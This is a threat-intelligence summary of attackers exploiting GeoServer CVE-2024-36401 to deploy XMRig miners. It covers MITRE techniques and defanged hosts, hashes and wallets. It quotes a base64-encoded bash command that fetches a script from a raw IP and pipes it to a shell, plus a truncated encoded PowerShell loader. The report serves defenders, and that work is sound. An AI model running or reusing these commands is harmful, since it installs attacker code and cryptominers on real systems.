Threat actors are actively exploiting CVE-2024-36401 in GeoServer to deploy XMRig-based coin miners and auxiliary tools like NetCat, using PowerShell, bash, certutil, and custom downloaders across multiple campaigns (Type A, B, C). These campaigns reuse mining pool credentials, multiple hosting domains/IPs and employ persistence via NSSM and attempts to disable Windows Defender. #GeoServer #XMRig
Keypoints
- Multiple threat actors exploit GeoServer CVE-2024-36401 to execute remote code and install CoinMiner payloads across exposed servers.
- Three distinct campaign patterns (Type A, Type B, Type C) were identified, each using different delivery and persistence techniques (PowerShell/bash, certutil SFX dropper, custom downloader/NSSM).
- XMRig-based miners are deployed with embedded configuration or external pool URLs and credentials, targeting Monero mining pools like pool.supportxmr[.]com and various aaaaaaaa[.]cyou endpoints.
- Persistence is achieved by installing miners as services using NSSM and by executing scripts/batch files (e.g., gw.txt, gl.txt, setupcache.bat) and bundled archives (caches.zip, cache.zip, w3wp.zip, iis.zip).
- Actors attempt defense evasion by adding Windows Defender exceptions and disabling it, and use tools like NetCat to further deploy other malware or exfiltrate information.
- Numerous hosting IPs, domains, file hashes and file URLs were observed (examples and full IOC lists provided), indicating widespread scanning and infection of exposed GeoServer instances.
MITRE Techniques
- [T1190 ] Exploit Public-Facing Application – GeoServer CVE exploitation to achieve RCE: ‘a vulnerability (CVE-2024-36401) was disclosed in 2024… threat actors have since been exploiting this vulnerability to install malware.’
- [T1059.001 ] Command and Scripting Interpreter: PowerShell – Encoded PowerShell commands used to fetch and execute payloads: ‘powershell.exe -enc SQBFAFgAIAAoAE4AZQB3…’
- [T1059.004 ] Command and Scripting Interpreter: Unix Shell – Use of bash to decode and run downloaded shell payloads: ‘bash -c {echo,Y3VybCAtZnNTTCBodHRwOi8vMjIwLjg0LjEwNy42OS9qcy9nbC50eHQgfHNoCg==}|{base64,-d}|{bash,-i}’
- [T1105 ] Ingress Tool Transfer – Malware and miner binaries are downloaded from remote hosting to victim systems: ‘The malware strains… are uploaded to the following addresses and are downloaded and installed by Batch malware “gw.txt” or Bash malware “gl.txt”.’
- [T1218 ] Signed Binary Proxy Execution / Living off the Land – Use of built-in utilities to retrieve/execute payloads, specifically certutil for installation: ‘Another threat actor installed malware using the certutil command.’
- [T1543.003 ] Create or Modify System Process: Windows Service – Use of NSSM to install and run XMRig as a service for persistence: ”3.bat’ uses NSSM to execute “java.exe”, which is actually XMRig… install XMRig as a service using NSSM.’
- [T1562.001 ] Impair Defenses: Disable or Modify Security Tools – Attempts to add Defender exclusions and disable Windows Defender to avoid detection: ‘add an exception path to Windows Defender and disable it.’
- [T1027 ] Obfuscated Files or Information – Use of encrypted/packed payloads and loaders that decrypt in-memory (hello.dat/javap.exe) to hide miner: ‘javap.exe is a loader that reads and decrypts the “hello.dat” file… The decrypted file is XMRig.’
Indicators of Compromise
- [MD5 ] Malware file hashes observed in samples – 04101ba4061732ed0716f554cb7d6539, 05fe0e7e4e181ee77749f334e2d7b10f, and 3 more hashes.
- [URL ] Direct download and C2 endpoints used to host payloads and scripts – http[:]//119[.]194[.]153[.]31[:]8080/icon/js/solrd[.]exe, pool.supportxmr[.]com:443 (mining pool), and multiple other URLs.
- [FQDN ] Domains used for mining/C2 and payload hosting – aaaaaaaa[.]cyou, ssl[.]aaaaaaaa[.]cyou, asia[.]aaaaaaaa[.]cyou (and other subdomains).
- [IP ] Hosting and C2 IP addresses observed – 104[.]243[.]43[.]115, 154[.]89[.]152[.]204, and additional IPs such as 185[.]208[.]156[.]197 and 203[.]91[.]76[.]58.
- [File name ] Malicious filenames and archive names used by droppers/downloaders – gw.txt, gl.txt, setupcache.bat, caches.zip (also observed as cache.zip, w3wp.zip, iis.zip).
- [Wallet ] Monero wallet/payment addresses embedded in miner configs – 47DsNc5pK8rYBQF4ev3mNBct3tkkHuUmx…, 47KoSaQXtpZ2AypuUm6pBgfUjfUuS1Fiy2jJRajd… (truncated in report) used as mining user identifiers.
- [Credentials ] Mining/C2 credentials observed in configs – pool passwords like “x”, “x1999” and other credential strings used in miner configurations and C2 access.
Read more: https://asec.ahnlab.com/en/91724/